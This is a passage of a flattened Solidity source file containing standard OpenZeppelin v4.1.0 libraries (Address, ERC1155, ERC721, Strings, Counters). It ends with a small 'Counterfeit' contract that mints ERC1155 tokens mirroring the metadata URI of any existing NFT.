https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/utils/Context.sol@v4.1.0 pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File @openzeppelin/contracts/utils/introspection/ERC165.sol@v4.1.0 pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File @openzeppelin/contracts/token/ERC1155/ERC1155.sol@v4.1.0 pragma solidity ^0.8.0; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping (uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping (address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor (string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch( address[] memory accounts, uint256[] memory ids ) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(_msgSender() != operator, "ERC1155: setting approval status for self"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require(to != address(0), "ERC1155: transfer to the zero address"); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); _balances[id][from] = fromBalance - amount; _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); _balances[id][from] = fromBalance - amount; _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`. * * Emits a {TransferSingle} event. * * Requirements: * * - `account` cannot be the zero address. * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual { require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] += amount; emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `account` * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens of token type `id`. */ function _burn(address account, uint256 id, uint256 amount) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); _balances[id][account] = accountBalance - amount; emit TransferSingle(operator, account, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); _balances[id][account] = accountBalance - amount; } emit TransferBatch(operator, account, address(0), ids, amounts); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { } function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver(to).onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) { if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // File @openzeppelin/contracts/token/ERC721/IERC721.sol@v4.1.0 pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // File @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol@v4.1.0 pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // File @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol@v4.1.0 pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File @openzeppelin/contracts/utils/Strings.sol@v4.1.0 pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File @openzeppelin/contracts/token/ERC721/ERC721.sol@v4.1.0 pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping (uint256 => address) private _owners; // Mapping owner address to token count mapping (address => uint256) private _balances; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. Empty by default, can be overriden * in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { // solhint-disable-next-line no-inline-assembly assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // File @openzeppelin/contracts/utils/Counters.sol@v4.1.0 pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } } // File contracts/Counterfeit.sol pragma solidity ^0.8.0; contract Counterfeit is ERC1155 { string public name; string public symbol; using Counters for Counters.Counter; Counters.Counter private _contractIds; struct ContractId { address contractAddress; uint256 id; bool is1155; } mapping(uint256 => ContractId) public contractId; constructor() ERC1155("") { name = "Counterfeit NFT"; symbol = "Counterfeit NFT"; } function createCounterfeit( address _contract, uint256 _id, bool _is1155 ) public payable { require(_id > 0, "Id must be > 0"); require(address(_contract) == _contract, "Not a valid address"); _contractIds.increment(); uint256 newContractId = _contractIds.current(); ContractId storage c = contractId[newContractId]; c.contractAddress = _contract; c.id = _id; c.is1155 = _is1155; _mint(msg.sender, newContractId, 1, ""); } function uri(uint256 _id) public view override returns (string memory) { require(_id <= _contractIds.current(), "Not a valid Id"); ContractId memory c = contractId[_id]; string memory uri; if (c.is1155) { uri = ERC1155(c.contractAddress).uri(c.id); } else { uri = ERC721(c.contractAddress).tokenURI(c.id); } return uri; } }
